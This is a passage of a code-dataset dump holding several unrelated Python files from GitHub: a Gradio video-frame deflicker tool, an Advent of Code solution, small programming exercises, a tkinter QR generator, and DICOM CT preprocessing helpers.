f'{contador-1:03d}.png'), umbralizado)\r\n \r\n anterior = cv2.imread(os.path.join(carpeta, filename), cv2.IMREAD_GRAYSCALE)\r\n contador += 1\r\n \r\n #Actualmente, el tipo de umbralización es cv2.THRESH_BINARY_INV, que invierte los colores de la imagen umbralizada. \r\n #Puedes cambiarlo a otro tipo de umbralización, \r\n #como cv2.THRESH_BINARY, cv2.THRESH_TRUNC, cv2.THRESH_TOZERO o cv2.THRESH_TOZERO_INV.\r\n \r\n \r\n # Obtener la lista de los nombres de los archivos en la carpeta MaskD\r\n files = os.listdir(\"MaskD\")\r\n # Definir la carpeta donde están los archivos\r\n carpeta = \"MaskD\"\r\n blur_kernel = smooth\r\n \r\n # Iterar sobre cada archivo\r\n for file in files:\r\n if dfi_deghost == 0:\r\n \r\n continue\r\n # Leer la imagen de la carpeta MaskD\r\n #img = cv2.imread(\"MaskD\" + file)\r\n img = cv2.imread(os.path.join(\"MaskD\", file))\r\n \r\n # Invertir la imagen usando la función bitwise_not()\r\n img_inv = cv2.bitwise_not(img)\r\n \r\n kernel_size = dfi_deghost\r\n \r\n # Dilatar la imagen usando la función dilate()\r\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (kernel_size, kernel_size)) # Puedes cambiar el tamaño y la forma del kernel según tus preferencias\r\n img_dil = cv2.dilate(img_inv, kernel)\r\n \r\n # Volver a invertir la imagen usando la función bitwise_not()\r\n img_out = cv2.bitwise_not(img_dil)\r\n \r\n # Sobrescribir la imagen en la carpeta MaskD con el mismo nombre que el original\r\n #cv2.imwrite(\"MaskD\" + file, img_out)\r\n #cv2.imwrite(os.path.join(\"MaskD\", file, img_out))\r\n filename = os.path.join(\"MaskD\", file)\r\n cv2.imwrite(filename, img_out)\r\n \r\n # Iterar a través de los archivos de imagen en la carpeta MaskD\r\n for imagen in os.listdir(carpeta):\r\n if imagen.endswith(\".jpg\") or imagen.endswith(\".png\") or imagen.endswith(\".jpeg\"):\r\n # Leer la imagen\r\n img = cv2.imread(os.path.join(carpeta, imagen))\r\n # Aplicar el filtro\r\n img = cv2.GaussianBlur(img, (blur_kernel,blur_kernel),0)\r\n # Guardar la imagen con el mismo nombre\r\n cv2.imwrite(os.path.join(carpeta, imagen), img)\r\n \r\n \r\n # INICIO DEL BATCH Obtener el nombre del archivo en MaskD sin ninguna extensión\r\n # Agregar una variable de contador de bucles\r\n loop_count = 0\r\n \r\n # Agregar un bucle while para ejecutar el código en bucle infinito\r\n while True:\r\n \r\n mask_files = sorted(os.listdir(maskD))\r\n if not mask_files:\r\n print(f\"No se encontraron archivos para componer\")\r\n # Eliminar las carpetas Source, MaskS y MaskD si no hay más archivos para procesar\r\n shutil.rmtree(maskD)\r\n shutil.rmtree(maskS)\r\n shutil.rmtree(source)\r\n break\r\n \r\n mask = mask_files[0]\r\n maskname = os.path.splitext(mask)[0]\r\n \r\n # Obtener la ruta de la imagen en la subcarpeta de output que tiene el mismo nombre que la imagen en MaskD\r\n output_files = [f for f in os.listdir(ruta_salida) if os.path.splitext(f)[0] == maskname]\r\n if not output_files:\r\n print(f\"No se encontró en {ruta_salida} una imagen con el mismo nombre que {maskname}.\")\r\n exit(1)\r\n \r\n output_file = os.path.join(ruta_salida, output_files[0])\r\n \r\n # Aplicar el comando magick composite con las opciones deseadas\r\n composite_command = f\"magick composite -compose CopyOpacity {os.path.join(maskD, mask)} {output_file} {os.path.join(maskS, 'result.png')}\"\r\n os.system(composite_command)\r\n \r\n # Obtener el nombre del archivo en output sin ninguna extensión\r\n name = os.path.splitext(os.path.basename(output_file))[0]\r\n \r\n # Renombrar el archivo result.png con el nombre del archivo en output y la extensión .png\r\n os.rename(os.path.join(maskS, 'result.png'), os.path.join(maskS, f\"{name}.png\"))\r\n \r\n #Guardar el directorio actual en una variable\r\n original_dir = os.getcwd()\r\n \r\n #Cambiar al directorio de la carpeta MaskS\r\n os.chdir(maskS)\r\n \r\n #Iterar a través de los archivos de imagen en la carpeta MaskS\r\n for imagen in sorted(os.listdir(\".\")):\r\n # Obtener el nombre de la imagen sin la extensión\r\n nombre, extension = os.path.splitext(imagen)\r\n # Obtener solo el número de la imagen\r\n numero = ''.join(filter(str.isdigit, nombre))\r\n # Definir el nombre de la siguiente imagen\r\n siguiente = f\"{int(numero)+1:0{len(numero)}}{extension}\"\r\n # Renombrar la imagen\r\n os.rename(imagen, siguiente)\r\n \r\n # Volver al directorio original\r\n os.chdir(original_dir)\r\n \r\n # Establecer un valor predeterminado para disolución\r\n dissolve = 100 if loop_count % frame_refresh_frequency != 0 else refresh_strength\r\n #slider2 = gr.inputs.Slider(minimum=0, maximum=100, default=50, step=5, label=\"FPR Strength\")\r\n \r\n \r\n # Obtener el nombre del archivo en MaskS sin la extensión\r\n maskS_files = [f for f in os.listdir(maskS) if os.path.isfile(os.path.join(maskS, f)) and f.endswith('.png')]\r\n if maskS_files:\r\n filename = os.path.splitext(maskS_files[0])[0]\r\n else:\r\n print(f\"No se encontraron archivos de imagen en la carpeta '{maskS}'\")\r\n filename = ''[0]\r\n \r\n # Salir del bucle si no hay más imágenes que procesar\r\n if not filename:\r\n break\r\n \r\n # Obtener la extensión del archivo en Gen con el mismo nombre\r\n gen_files = [f for f in os.listdir(ruta_entrada_2) if os.path.isfile(os.path.join(ruta_entrada_2, f)) and f.startswith(filename)]\r\n if gen_files:\r\n ext = os.path.splitext(gen_files[0])[1]\r\n else:\r\n print(f\"No se encontró ningún archivo con el nombre '{filename}' en la carpeta '{ruta_entrada_2}'\")\r\n ext = ''\r\n \r\n # Componer la imagen de MaskS y Gen con disolución (si está definido) y guardarla en la carpeta de salida\r\n os.system(f\"magick composite {'-dissolve ' + str(dissolve) + '%' if dissolve is not None else ''} {maskS}/{filename}.png {ruta_entrada_2}/{filename}{ext} {ruta_salida}/{filename}{ext}\")\r\n \r\n # Obtener el nombre del archivo más bajo en la carpeta MaskD\r\n maskd_files = [f for f in os.listdir(maskD) if os.path.isfile(os.path.join(maskD, f)) and f.startswith('')]\r\n if maskd_files:\r\n maskd_file = os.path.join(maskD, sorted(maskd_files)[0])\r\n os.remove(maskd_file)\r\n \r\n # Obtener el nombre del archivo más bajo en la carpeta MaskS\r\n masks_files = [f for f in os.listdir(maskS) if os.path.isfile(os.path.join(maskS, f)) and f.startswith('')]\r\n if masks_files:\r\n masks_file = os.path.join(maskS, sorted(masks_files)[0])\r\n os.remove(masks_file)\r\n \r\n # Aumentar el contador de bucles\r\n loop_count += 1\r\n \r\n #def show_gif():\r\n # # Cargando el GIF\r\n # with open(\"animation.gif\", \"rb\") as f:\r\n # gif = f.read()\r\n # \r\n # # Retornando el GIF como resultado\r\n # return gif \r\n \r\ndef dyndef(ruta_entrada_1, ruta_entrada_2, ruta_salida, frames_limit, denoise_blur, dfi_strength, frame_refresh_frequency, refresh_strength, smooth, dfi_deghost, ruta_entrada_3, ruta_salida_1, ddf_strength):\r\n imgs = []\r\n files = os.listdir(ruta_entrada_3)\r\n \r\n for file in files:\r\n img = cv2.imread(os.path.join(ruta_entrada_3, file))\r\n imgs.append(img)\r\n \r\n for idx in range(len(imgs)-1, 0, -1):\r\n current_img = imgs[idx]\r\n prev_img = imgs[idx-1]\r\n alpha = ddf_strength\r\n \r\n current_img = cv2.addWeighted(current_img, alpha, prev_img, 1-alpha, 0)\r\n imgs[idx] = current_img\r\n \r\n if not os.path.exists(ruta_salida_1):\r\n os.makedirs(ruta_salida_1)\r\n \r\n output_path = os.path.join(ruta_salida_1, files[idx]) # Usa el mismo nombre que el original\r\n cv2.imwrite(output_path, current_img)\r\n \r\n # Copia el primer archivo de los originales al finalizar el proceso\r\n shutil.copy(os.path.join(ruta_entrada_3, files[0]), os.path.join(ruta_salida_1, files[0]))\r\n\r\n\r\nwith gr.Blocks() as demo:\r\n with gr.Column():\r\n gr.Markdown(\"# Abysz LAB 0.0.5. Temporal coherence tools\")\r\n with gr.Accordion(\"Info\", open=False):\r\n gr.Markdown(\"DFI processing analyzes the motion of the original video, and attempts to force that information into the generated video.\")\r\n gr.Markdown(\"For example, for a man smoking, leaning against a pole, it will detect that the pole is static, and will try to prevent it from changing as much as possible.\")\r\n gr.Markdown(\"This is an aggressive process that requires a lot of control for each context. Read the recommended strategies in the manual: https://github.com/AbyszOne/Abysz_lab\")\r\n gr.Markdown(\"Although Video to Video is the most efficient way, a DFI One Shot method is under experimental development as well.\")\r\n gr.Markdown(\"## DFI Parameters\")\r\n with gr.Row():\r\n ruta_entrada_1 = gr.Textbox(label=\"Original frames folder\", placeholder=\"Unless you have used --just resize-- with different aspect ratios, any source will work.\")\r\n ruta_entrada_2 = gr.Textbox(label=\"Generated frames folder\", placeholder=\"The frames of AI generated video\")\r\n ruta_salida = gr.Textbox(label=\"Output folder\", placeholder=\"Remember that each generation overwrites previous frames in the same folder.\")\r\n with gr.Row():\r\n with gr.Column():\r\n with gr.Row():\r\n frames_limit = gr.Number(label=\"Frames to render. 0:ALL\")\r\n denoise_blur = gr.Slider(minimum=1, maximum=10, value=3, step=1, label=\"Source denoise (DFI is noise sensitive. This improves accuracy for noisy sources. Doesn't affect the original.)\")\r\n dfi_strength = gr.Slider(minimum=1, maximum=10, value=5, step=0.5, label=\"DFI Strength (Basically, the size of the interpolated areas. You probably don't want too much or too little)\")\r\n frame_refresh_frequency = gr.Slider(minimum=1, maximum=30, value=5, step=1, label=\"Frame Refresh Frequency (Reduce interpolation every X cycles. Means, allowing flick too)\")\r\n with gr.Column():\r\n refresh_strength = gr.Slider(minimum=0, maximum=100, value=50, step=5, label=\"Frame Refresh Control (How much % of interpolation allows. 0 means, full frame refresh)\")\r\n smooth = gr.Slider(minimum=1, maximum=99, value=11, step=2, label=\"Smooth (Smooths edges, but 5-25 is recommended for now, until algorithm improves)\")\r\n dfi_deghost = gr.Slider(minimum=0, maximum=10, value=3, step=1, label=\"DFI Deghost (Artificially fattens the edges of the areas to be interpolated. Experimental. 0=Off)\")\r\n with gr.Row():\r\n run_button = gr.Button(label=\"Run\", variant=\"primary\")\r\n output_placeholder = gr.Textbox(label=\"Status\")\r\n with gr.Column():\r\n gr.Markdown(\"## Blend Deflicker\")\r\n with gr.Accordion(\"Info\", open=False):\r\n gr.Markdown(\"I made this based on the deflicker in Vegas Pro. It's a blend between each frame and the next. This can reduce light changes and smooth transitions.\")\r\n gr.Markdown(\"High values will distort the image, which could be used as another form of crude stabilization, for the multipass method.\")\r\n with gr.Row():\r\n ruta_entrada_3 = gr.Textbox(label=\"Frames folder\", placeholder=\"Frames to process\")\r\n ruta_salida_1 = gr.Textbox(label=\"Output folder\", placeholder=\"Processed frames\")\r\n with gr.Row():\r\n ddf_strength = gr.Slider(minimum=0, maximum=1, value=0.25, step=0.01, label=\"Strength (Percentage of blending between frames. 0.25=25%)\")\r\n ddf_button = gr.Button(label=\"Run\")\r\n \r\n inputs=[ruta_entrada_1, ruta_entrada_2, ruta_salida, frames_limit, denoise_blur, dfi_strength, frame_refresh_frequency, refresh_strength, smooth, dfi_deghost, ruta_entrada_3, ruta_salida_1, ddf_strength]\r\n run_button.click(fn=main, inputs=inputs, outputs=output_placeholder)\r\n ddf_button.click(fn=dyndef, inputs=inputs, outputs=output_placeholder)\r\ndemo.launch(server_port=7884)\r\n# Agregando el componente gr.outputs.Image a la lista de salidas\r\n#outputs = [output_placeholder, gr.outputs.Image(label=\"GIF\")]\r\n#with gr.Blocks() as demo:\r\n# gr.Row([input1, input2])\r\n# gr.Row([input3, input4])\r\n# for slider in sliders:\r\n# gr.Row([slider])\r\n# gr.Row([output_placeholder])\r\n\r\n \r\n#gr.Interface(fn=procesar_imagenes_gradio,\r\n# inputs=[input1, input2, input3, input4, slider1, slider2, slider3, slider4, slider5],\r\n# outputs=output_placeholder,\r\n# title=\"Abysz LAB 0.0.2\",\r\n# description=\" INSTRUCTIONS & Tricks: https://github.com/AbyszOne/Abysz_lab. Temporal coherence lab, alpha 0.0.2. Updates incoming: Polar render (Front/back), Lumen deflicker, Blend deflicker, Visor, tests lab, preprocessing, and much more.\").launch(server_port=7884)\r\n#outputs = [\r\n# gr.outputs.Image\r\n#]\r\n#gr.Interface(fn=procesar_imagenes_gradio, inputs=inputs+sliders, interpretation=\"Ejecutar\").launch()\r\n#gr.Interface(fn=procesar_imagenes_gradio, inputs=inputs+sliders, outputs=outputs, interpretation=\"Ejecutar\").launch()\r\n","repo_name":"AbyszOne/Abysz_lab","sub_path":"Abysz_Lab.py","file_name":"Abysz_Lab.py","file_ext":"py","file_size_in_byte":23191,"program_lang":"python","lang":"es","doc_type":"code","stars":55,"dataset":"github-code","pt":"82"} +{"seq_id":"23382098110","text":"#!/usr/bin/python\r\n\r\n# Day 7\r\n\r\n#-----------------------------------------------------\r\n# MAIN CODE\r\n#-----------------------------------------------------\r\n# Open Input\r\nwith open(\"input.txt\", 'r') as f:\r\n crab_pos = [int(i) for i in f.read().split(',')]\r\n\r\nbest = 999999999\r\ntotal = 0\r\n# The secret is that as you iterate, the total cost will reduce up until you hit the optiomal spot\r\n# once the cost goes up instead of down, you know you reached the best lineup spot\r\n# For part 2 look up Triangular numbers. Use that formula\r\nfor i in range(max(crab_pos) + 1):\r\n for sub in crab_pos:\r\n diff = abs(sub - i)\r\n diff = diff * (diff + 1) / 2 # Use only for part 2. Comment out for part 1\r\n total += diff\r\n if total < best: \r\n best = total\r\n total = 0\r\n else:\r\n print(\"Answer: \", best)\r\n break\r\n","repo_name":"cepedarod/adventofcode2021","sub_path":"day07.py","file_name":"day07.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38780567330","text":"\"\"\"\nAssume s is a string of lower case characters.\n\nWrite a program that prints the longest substring of s in which the letters \noccur in alphabetical order. For example, if s = 'azcbobobegghakl', \nthen your program should print\n\nLongest substring in alphabetical order is: beggh\nIn the case of ties, print the first substring. \n\nFor example, if s = 'abcbcd', then your program should print\nLongest substring in alphabetical order is: abc \n\"\"\"\ns = 'abcabzefg'\nsavedRecords = []\nstartIndex = 0\ncount = 0\n\nfor i in range(len(s)-1):\n if s[i] <= s[i+1]:\n count += 1 \n else:\n savedRecords.append(s[startIndex:startIndex+count+1])\n startIndex = i+1\n count = 0\n\n# appending last record\nsavedRecords.append(s[startIndex:startIndex+count+1])\n\nprint('Longest substring in alphabetical order is: ', max(savedRecords,key=len))\n\n# finding all max number of sequential characeters\nfor item in savedRecords:\n if len(item) == len(max(savedRecords, key=len)):\n print(item) \n","repo_name":"islamhanafi94/MITx-6.00.1x-problem-sets","sub_path":"pset1/problem03.py","file_name":"problem03.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"14943428318","text":"import tkinter as tk\nfrom tkinter import ttk\nimport pyqrcode\n\ni=1\nroot=tk.Tk()\nroot.title(\"QR Code Generator\")\nttk.Label(root,text='Enter or Paste Your link: ').grid(row=0,column=0)\nvar=tk.StringVar()\nttk.Entry(root,width=20,textvariable=var).grid(row=0,column=1)\ndef submit():\n global i\n link=var.get()\n pyqrcode.create(link).svg(\"qrcode\"+str(i)+\".svg\", scale = 8)\n i+=1\ni=1\nttk.Button(root,text='Generate',command=submit).grid(row=1,column=0)\nroot.mainloop()\n","repo_name":"thisisshub/HacktoberFest","sub_path":"folders/Qr Code Generator/qrcode.py","file_name":"qrcode.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"82"} +{"seq_id":"23152552516","text":"import sys\n\nb = int(sys.stdin.readline())\ntestcase = []\n\nfor i in range(b):\n testcase.append(int(sys.stdin.readline()))\n\n\n# 에라토스테네스의 체\nn=10000\na = [False,False] + [True]*(n-1)\nprimes=[]\n\nfor i in range(2,n+1):\n if a[i]:\n primes.append(i)\n for j in range(2*i, n+1, i):\n a[j] = False\n\nfor i in testcase:\n p, q = i//2, i//2\n while True :\n if a[p] == True and a[q] == True:\n print(\"%d %d\" %(p,q))\n break\n p -= 1\n q += 1\n","repo_name":"dawit0905/AlgorithmStudy","sub_path":"python/baekjoon_9020.py","file_name":"baekjoon_9020.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35276796778","text":"'''Functions used for preprocessing of the raw data from the hospital'''\nimport os\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy import ndimage\nfrom skimage import measure\n\n\n\nfrom os.path import dirname, join\nfrom pprint import pprint\n\nimport pydicom\nfrom pydicom.data import get_testdata_files\nfrom pydicom.filereader import read_dicomdir\n\n\ndef _getstudies(filepath):\n filepath = filepath\n dicom_dir = read_dicomdir(filepath)\n base_dir = dirname(filepath)\n\n allstudies = {}\n\n # go through the patient record and print information\n for patient_record in dicom_dir.patient_records:\n #if (hasattr(patient_record, 'PatientID') and hasattr(patient_record, 'PatientName')):\n #print(\"Patient: {}: {}\".format(patient_record.PatientID,\n # patient_record.PatientName))\n studies = patient_record.children\n # got through each serie\n for study in studies:\n #print(\" \" * 4 + \"Study {}: {}: {}\".format(study.StudyID,\n # study.StudyDate,\n # study.StudyDescription))\n allstudies[study.StudyID] = []\n all_series = study.children\n # go through each serie\n tmpseries = {}\n for series in all_series:\n image_count = len(series.children)\n plural = ('', 's')[image_count > 1]\n\n # Write basic series info and image count\n\n # Put N/A in if no Series Description\n if 'SeriesDescription' not in series:\n series.SeriesDescription = \"N/A\"\n #print(\" \" * 8 + \"Series {}: {}: {} ({} image{})\".format(\n # series.SeriesNumber, series.Modality, series.SeriesDescription,\n # image_count, plural))\n\n # Open and read something from each image, for demonstration\n # purposes. For simple quick overview of DICOMDIR, leave the\n # following out\n #print(\" \" * 12 + \"Reading images...\")\n image_records = series.children\n image_filenames = [join(base_dir, *image_rec.ReferencedFileID)\n for image_rec in image_records]\n\n datasets = [pydicom.dcmread(image_filename)\n for image_filename in image_filenames]\n\n patient_names = set(ds.PatientName for ds in datasets)\n patient_IDs = set(ds.PatientID for ds in datasets)\n\n # List the image filenames\n #print(\"\\n\" + \" \" * 12 + \"Image filenames:\")\n #print(\" \" * 12, end=' ')\n #pprint(image_filenames, indent=12)\n\n # Expect all images to have same patient name, id\n # Show the set of all names, IDs found (should each have one)\n #print(\" \" * 12 + \"Patient Names in images..: {}\".format(\n # patient_names))\n #print(\" \" * 12 + \"Patient IDs in images..: {}\".format(\n # patient_IDs))\n tmpseries[int(series.SeriesNumber)] = datasets\n\n allstudies[study.StudyID].append(tmpseries)\n return allstudies\n\ndef check_len1(my_dict):\n '''Checks if all the values of the dictionary are single-element lists\n ---Inputs---\n my_dict: dictionary with lists as values'''\n a = 0\n for key in list(my_dict.keys()):\n if len(my_dict[key]) != 1:\n print('ERROR: %s has %d elements'%(key,len(my_dict[key])))\n a = 1\n if a == 0:\n print('Everything ok!')\n\ndef get_feature_value(var,feat):\n '''Gets the value of a feature of a particular slice. All the values are\n casted into real numbers.\n ---Inputs---\n var: variable of type pydicom.dataset.FileDataset (slice)\n feat: feature whose value we want to retrieve\n ---Outputs---\n Returns (multi- or uni-dimensional) feature as a list.'''\n if feat == 'Size':\n return [sizeSlice(var)]\n\n if feat == 'Size_hollow':\n return [sizeSlice_hollow(var)]\n\n if feat == 'Im_mean':\n picture = var.pixel_array\n return [picture.mean()]\n\n val = var.data_element(feat).value\n\n # Numerical features:\n if var.data_element(feat).VR=='AS':\n units = val[-1]\n if units=='Y':\n return [float(val[0:3])]\n if units=='M':\n return [float(val[0:3])/12]\n if units=='W':\n return [float(val[0:3])*7/365]\n if units=='D':\n return [float(val[0:3])/365]\n if var.data_element(feat).VR=='DA':\n if feat=='DateOfLastCalibration':\n calibdate = int(val[4:6])*30+int(val[6:8])\n acval = var.data_element('AcquisitionDate').value\n actime = int(acval[4:6])*30+int(acval[6:8])\n return [actime-calibdate]\n else:\n return [int(val[4:6])*30+int(val[6:8])]\n if var.data_element(feat).VR=='DS':\n if isinstance(val, pydicom.multival.MultiValue): # list of ints\n val = [int(val_) for val_ in val]\n else: # single int\n val = [int(val), 1] # The DS elements are floats expressed as a\n # ratio of two ints. If the number is a single\n # int, it corresponds to that number divided\n # by 1.\n if feat in ['ContrastBolusTotalDose','ContrastBolusVolume','ContrastFlowDuration','ContrastFlowRate']:\n if val in [[125, 1],[30, 14],[3, 2]]:\n return [0]\n if val in [[100, 1],[25, 1],[3, 1]]:\n return [1]\n else:\n print('ERROR: '+feat+' has unrecognized value.')\n elif feat in ['KVP','WindowCenter','WindowWidth']:\n if val in [[100, 1],[60, -500],[375, 1500]]:\n return [0]\n if val in [[120, 1],[50, -500],[350, 1500]]:\n return [1]\n else:\n print('ERROR: '+feat+' has unrecognized value:')\n elif feat in ['ReconstructionDiameter', 'SliceLocation', 'TableHeight']:\n return [val[0]]\n else:\n return val\n if var.data_element(feat).VR=='DT':\n return [val[0:4], val[4:6], val[6:8], val[8:10], val[10:12], val[12:14],\n val[15:21]]\n if var.data_element(feat).VR=='FD':\n if feat=='DataCollectionCenterPatient':\n vall = [float(val_) for val_ in val]\n return vall[1:]\n if isinstance(val, list): # list of floats\n return [float(val_) for val_ in val]\n else: # single float\n return [float(val)]\n if var.data_element(feat).VR=='FL':\n if feat=='CalciumScoringMassFactorDevice':\n if var.data_element(feat).value==[0.6430000066757202, 0.6710000038146973, 0.6980000138282776]:\n return [0]\n if var.data_element(feat).value==[0.7429999709129333, 0.7789999842643738, 0.8119999766349792]:\n return [1]\n else:\n print('ERROR: CalciumScoringMassFactorDevice has unrecognized value.')\n if isinstance(val, list): # list of floats\n return [float(val_) for val_ in val]\n else: # single float\n return [float(val)]\n if var.data_element(feat).VR=='IS':\n if isinstance(val, list): # list of ints\n return [int(val_) for val_ in val]\n else: # single int\n return [int(val)]\n if var.data_element(feat).VR=='TM':\n if feat=='ContrastBolusStartTime':\n starttime = float(val[4:6])+float(val[2:4])*60+float(val[0:2])*3600\n stopval = var.data_element('ContrastBolusStopTime').value\n stoptime = float(stopval[4:6])+float(stopval[2:4])*60+float(stopval[0:2])*3600\n if int(stoptime-starttime)==74:\n return [0]\n elif int(stoptime-starttime)==26:\n return [1]\n elif feat=='ContrastBolusStopTime':\n print('ContrastBolusStopTime should be ignored (not implemented).')\n elif feat=='TimeOfLastCalibration':\n starttime = float(val[2:4])/60+float(val[0:2])\n stopval = var.data_element('AcquisitionTime').value\n stoptime = float(stopval[2:4])/60+float(stopval[0:2])\n return [stoptime-starttime]\n elif feat=='ContentTime':\n starttime = float(val[4:6])+float(val[2:4])*60\n stopval = var.data_element('AcquisitionTime').value\n stoptime = float(stopval[4:6])+float(stopval[2:4])*60\n return [starttime-stoptime]\n else:\n return [float(val[0:2])+float(val[2:4])/60]\n if var.data_element(feat).VR=='US':\n if isinstance(val, list): # list of ints\n return [int(val_) for val_ in val]\n else: # single int\n return [int(val)]\n\n # String features:\n if (var.data_element(feat).VR=='CS') or (var.data_element(feat).VR=='LO') or (var.data_element(feat).VR=='SH'):\n if feat=='ConvolutionKernel':\n if var.data_element(feat).value[0]=='I40f':\n return [0]\n if var.data_element(feat).value[0]=='I26f':\n return [1]\n else:\n print('ERROR: ConvolutionKernel has unrecognized value.')\n if feat=='PatientSex':\n if var.data_element(feat).value=='F':\n return [0]\n if var.data_element(feat).value=='M':\n return [1]\n else:\n print('ERROR: PatientSex has unrecognized value.')\n else:\n print('String feature ignored.')\n\n # Sequence features:\n if var.data_element(feat).VR=='SQ':\n seq = var.data_element(feat)[0]\n\n if (feat=='ProcedureCodeSequence') or (feat=='RequestedProcedureCodeSequence'):\n if seq.data_element('CodeValue').value=='C5-05':\n return [0]\n if seq.data_element('CodeValue').value=='C5-01':\n return [1]\n else:\n print('ERROR: CodeValue subfeature has unrecognized value.')\n else:\n print('Sequence feature ignored.')\n\n # Special features:\n if var.data_element(feat).VR=='OW':\n print('Not implemented')\n\n if var.data_element(feat).VR=='UI':\n print('UID feature ignored.')\n\ndef get_feature_value_numerSection(var,feat):\n '''Gets the value of a feature of a particular slice. All the values are\n casted into real numbers. THIS IS A TEST FUNCTION THAT IS ONLY USED IN\n THE preprocessing_CT.ipynb FILE. DO NOT USE.\n ---Inputs---\n var: variable of type pydicom.dataset.FileDataset (slice)\n feat: feature whose value we want to retrieve\n ---Outputs---\n Returns (multi- or uni-dimensional) feature as a list.'''\n\n val = var.data_element(feat).value\n\n # Numerical features:\n if var.data_element(feat).VR=='AS':\n units = val[-1]\n if units=='Y':\n return [float(val[0:3])]\n if units=='M':\n return [float(val[0:3])/12]\n if units=='W':\n return [float(val[0:3])*7/365]\n if units=='D':\n return [float(val[0:3])/365]\n if var.data_element(feat).VR=='DA':\n if feat=='DateOfLastCalibration':\n calibdate = int(val[4:6])*30+int(val[6:8])\n acval = var.data_element('AcquisitionDate').value\n actime = int(acval[4:6])*30+int(acval[6:8])\n return [actime-calibdate]\n else:\n return [int(val[4:6])*30+int(val[6:8])]\n if var.data_element(feat).VR=='DS':\n if isinstance(val, pydicom.multival.MultiValue): # list of ints\n val = [int(val_) for val_ in val]\n else: # single int\n val = [int(val), 1] # The DS elements are floats expressed as a\n # ratio of two ints. If the number is a single\n # int, it corresponds to that number divided\n # by 1.\n return val\n if var.data_element(feat).VR=='DT':\n return [val[0:4], val[4:6], val[6:8], val[8:10], val[10:12], val[12:14],\n val[15:21]]\n if var.data_element(feat).VR=='FD':\n if isinstance(val, list): # list of floats\n return [float(val_) for val_ in val]\n else: # single float\n return [float(val)]\n if var.data_element(feat).VR=='FL':\n if isinstance(val, list): # list of floats\n return [float(val_) for val_ in val]\n else: # single float\n return [float(val)]\n if var.data_element(feat).VR=='IS':\n if isinstance(val, list): # list of ints\n return [int(val_) for val_ in val]\n else: # single int\n return [int(val)]\n if var.data_element(feat).VR=='TM':\n return [float(val[0:2])+float(val[2:4])/60]\n if var.data_element(feat).VR=='US':\n if isinstance(val, list): # list of ints\n return [int(val_) for val_ in val]\n else: # single int\n return [int(val)]\n\n # String features:\n if (var.data_element(feat).VR=='CS') or (var.data_element(feat).VR=='LO') or (var.data_element(feat).VR=='SH'):\n if feat=='ConvolutionKernel':\n if var.data_element(feat).value[0]=='I40f':\n return [0]\n if var.data_element(feat).value[0]=='I26f':\n return [1]\n else:\n print('ERROR: ConvolutionKernel has unrecognized value.')\n if feat=='PatientSex':\n if var.data_element(feat).value=='F':\n return [0]\n if var.data_element(feat).value=='M':\n return [1]\n else:\n print('ERROR: PatientSex has unrecognized value.')\n else:\n print('String feature ignored.')\n\n # Sequence features:\n if var.data_element(feat).VR=='SQ':\n seq = var.data_element(feat)[0]\n\n if (feat=='ProcedureCodeSequence') or (feat=='RequestedProcedureCodeSequence'):\n if seq.data_element('CodeValue').value=='C5-05':\n return [0]\n if seq.data_element('CodeValue').value=='C5-01':\n return [1]\n else:\n print('ERROR: CodeValue subfeature has unrecognized value.')\n else:\n print('Sequence feature ignored.')\n\n # Special features:\n if var.data_element(feat).VR=='OW':\n print('Not implemented')\n\n if var.data_element(feat).VR=='UI':\n print('UID feature ignored.')\n\n\n\ndef low_rank_C(u,s,v,k):\n '''Reduces the rank of a matrix C which is decomposed using SVD as\n C = u*np.diag(s)*v, i.e. u, s, v = np.linalg.svd(C).\n --- Inputs ---\n u: term matrix (WxW array, float)\n s: standard values of C (Tx1 array, str)\n v: transpose document matrix (TxT array, float)\n k: reduced rank of the new C (int)\n --- Outputs ---\n uk: k first columns of u (Wxk array, str)\n sk: first k standard values (kx1 array, str)\n vk: k first columns of u (kxT array, str)'''\n T = len(s)\n #sk = np.concatenate((s[0:k],np.array([0]*(T-k))),axis=None)\n sk = s[:k]\n uk = u[:,:k]\n vk = v[:k,:]\n # Ck = np.matmul(np.matmul(uk,np.diag(sk)),vk)\n return uk, sk, vk\n\ndef sizeSlice(s):\n ## determines the volume of a slice in dm^3\n threshold_mask = s.pixel_array > 800\n tmpmask = ndimage.binary_erosion(threshold_mask,iterations =6)\n closedmask = ndimage.binary_fill_holes(tmpmask)\n n_pixels = np.sum(closedmask) ## # pixels above threshold\n v_pixel = s.PixelSpacing[0]*s.PixelSpacing[1]*s.SliceThickness *10**(-6) # volume 1 pixel in leters\n return n_pixels*v_pixel\n\ndef sizeSlice_hollow(s):\n ## determines the volume of a slice in dm^3\n threshold_mask = s.pixel_array > 800\n tmpmask = ndimage.binary_erosion(threshold_mask,iterations =6)\n n_pixels = np.sum(tmpmask) ## # pixels above threshold\n v_pixel = s.PixelSpacing[0]*s.PixelSpacing[1]*s.SliceThickness *10**(-6) # volume 1 pixel in leters\n return n_pixels*v_pixel\n\ndef imageFeatures(s):\n tmparr = s.pixel_array\n threshold_mask = tmparr > 800\n tmpmask = ndimage.binary_erosion(threshold_mask,iterations =6)\n closedmask = ndimage.binary_fill_holes(tmpmask)\n n_pixels = np.sum(tmpmask)\n nf_pixels = np.sum(closedmask) ## # pixels above threshold\n v_pixel = s.PixelSpacing[0]*s.PixelSpacing[1]*s.SliceThickness *10**(-6) # volume 1 pixel in leters\n size = nf_pixels * v_pixel\n size_hollow = n_pixels*v_pixel\n perimeter = measure.perimeter(closedmask) * s.PixelSpacing[0]\n meanhu = np.mean(tmparr[closedmask])\n return [size, size_hollow, perimeter, meanhu]\n\n\ndef sizePatient(patient):\n ## gives volume of scanned body in dm^3\n volume = 0\n for s in patient:\n volume += sizeSlice(s)\n return volume\n\n","repo_name":"NerineUsman/MDS_Hospital_Case2","sub_path":"aux_preprocessing.py","file_name":"aux_preprocessing.py","file_ext":"py","file_size_in_byte":16996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} 